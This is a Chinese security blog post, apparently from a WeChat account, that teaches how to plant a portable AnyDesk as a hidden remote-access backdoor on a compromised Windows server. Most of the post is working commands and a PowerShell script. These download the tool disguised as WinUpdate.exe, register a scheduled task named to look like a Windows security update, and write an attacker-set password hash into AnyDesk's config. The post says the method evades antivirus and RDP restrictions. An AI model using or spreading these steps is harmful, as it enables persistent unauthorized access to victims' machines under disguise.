该文章内容仅用于技术研究,请勿用于非法用途。产生的法律问题与本公众号无关。
题外话:本公众号只发一些认为对大家有用的一些技术文章,可能会一直更新,或者半年一更。甚至几年一更。不做一些重复的更新或者转载(本人关注了几十个安全相关的公众号,很大一部分都是直接互相转载公众号内容的。 这是浙江靓仔说的!)。反正就是多谢大家关注该公众号,不离不弃。以后有好的文章,资料,资源会第一时间分享给大家。
PS:转载过来的文章会标注【转载】,作者也会标注原作者信息。
AnyDesk是什么?
Anydesk是一款类似于Teamviewer的远控软件,可以采用免安装打开,除了覆盖配置以外,还提供了很便捷的API,它拥有领先的视频压缩技能 DeskRT, 能够轻松穿透防火墙/路由器。
重点是不用安装,而且体积只有2,917KB,
使用场景
-
云锁,护卫神等禁止3389登录;
-
阿里云登录3389则会IP报警提示;
-
内网穿透机器、传输文件等;
-
白名单软件过所有杀软、流量加密;
条件:
-
桌面用户权限
-
anydesk时桌面不能被注锁
-
调用自动化脚本需要高权限
原理:本地anydesk设置自主访问密码,然后生成的配置文件放到目标中,这样只要获取ad.anynet.id即可连接。
手动复现
环境:
攻击者:Win7 x32
受害者:Win2008 R2
首先Win7运行
设置密码:
配置文件将会保存在:
C:UsersAdministratorAppDataRoamingAnyDesk
service.conf存放:
ad.anynet.pwd_hash与ad.anynet.pwd_salt提取出来。
system.conf存放:
ad.anynet.id
打开shell,将Anydesk上传受害者机器,运行一遍Anydesk,然后kill掉
taskkill /F /IMAnyDesk.exe
在进入到C:Users{username}AppDataRoamingAnyDesk路径把以上两个配置写入到service.conf文件下。
连接:
命令复现
下载程序:
powershelgl.exe"(New-ObjectSystem.Net.WebClient).DownloadFile("https://download.anydesk.com/AnyDesk.exe","C:inetpubwwwrootWinUpdate.exe")"
确定有哪些用户当前正在使用桌面:
powershelgl.exe"(((Get-WmiObject -Class Win32_Process -Filter'Name="explorer.exe"').GetOwner().User) -split 'n')"
创建一个计划任务:
schtasks /Create/TN Windows_Security_Update /SC monthly /tr"C:inetpubwwwrootWinUpdate.exe" /RU administrator
先执行一次生成配置文件:
schtasks /run /tnWindows_Security_Update
结束掉进程:
taskkill /F/IM WinUpdate.exe
添加密码
echo ad.anynet.pwd_hash=a7f9ef816567ddeb071c985771698c70a6aec4c70dc284943b3104dcc06b8184>> C:UsersadministratorAppDataRoamingAnyDeskservice.conf
echoad.anynet.pwd_salt=5afbd8fc7334032ddbddd489363e25f8 >>C:UsersadministratorAppDataRoamingAnyDeskservice.conf
查看连接ID:
type C:UsersadministratorAppDataRoamingAnyDesksystem.conf
同时也可以通过如下命令获取正在运行中的Anydesk连接用户名:
@echo off
for /f"delims=" %%i in ('anydesk --get-id') do set CID=%%i
echo AnyDeskpassword is: %CID%
pause
PowerShell脚本复现:
#获取当前用户
$TarUser =(((Get-WmiObject -Class Win32_Process -Filter'Name="explorer.exe"').GetOwner().User) -split 'n')[0];
$AppdataPath ="C:Users$TarUserAppDataRoamingAnyDesk";
$CurPath =(Get-Location).Path;
#自主访问密码
$PassData ="ad.anynet.pwd_hash=c7bf7a324d71ac8ca5964c688677198816d1718c8f4dec6703ea2041c5386c70`nad.anynet.pwd_salt=fa4d50f4889adbacca3f026c0626271e`n";
$Password ="AnyDeskGetAccess”;
#下载AnyDesk
$url ="https://download.anydesk.com/AnyDesk.exe"
$client =New-Object System.Net.WebClient
$client.DownloadFile($url,"$CurPathWinUpdate.exe")
#创建计划任务
schtasks /Create/TN Windows_Security_Update001 /SC monthly /tr"$CurPathWinUpdate.exe" /RU $TarUser;
schtasks /run /tnWindows_Security_Update001;
#设置25秒是因为启动AnyDesk需要等,获取网络ID.
Start-Sleep -s 25;
#结束进程
Get-Process |Where-Object {$_.Path -like "*WinUpdate*"} | Stop-Process -Force;
#将密码添加到service.conf
Add-Content -Path$AppdataPathservice.conf -Value $PassData;
#获取连接ID
(Select-String-Path $AppdataPathsystem.conf -Pattern 'ad.anynet.id').Line;
Write-Output"Connect PassPassword:$Password";
#再次启动
schtasks /run /tnWindows_Security_Update001;
或在文件目录下执行以下代码便可以安装并设置远程连接密码(高权限)
AnyDesk.exe--install "C:InstallAnyDeskHere" --start-with-win --silent--create-shortcuts --create-desktop-icon
echo licence_keyABC| "C:InstallAnyDeskHereAnyDesk.exe" --register-licence
echo password123 |"C:InstallAnyDeskHereAnyDesk.exe" --set-password
其它问题:
在Win2008R2操作系统中,运行schtasks会提示无法加载,编码问题,解决方法运行命令
chcp 437
本文始发于微信公众号(关注安全技术):Anydesk
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论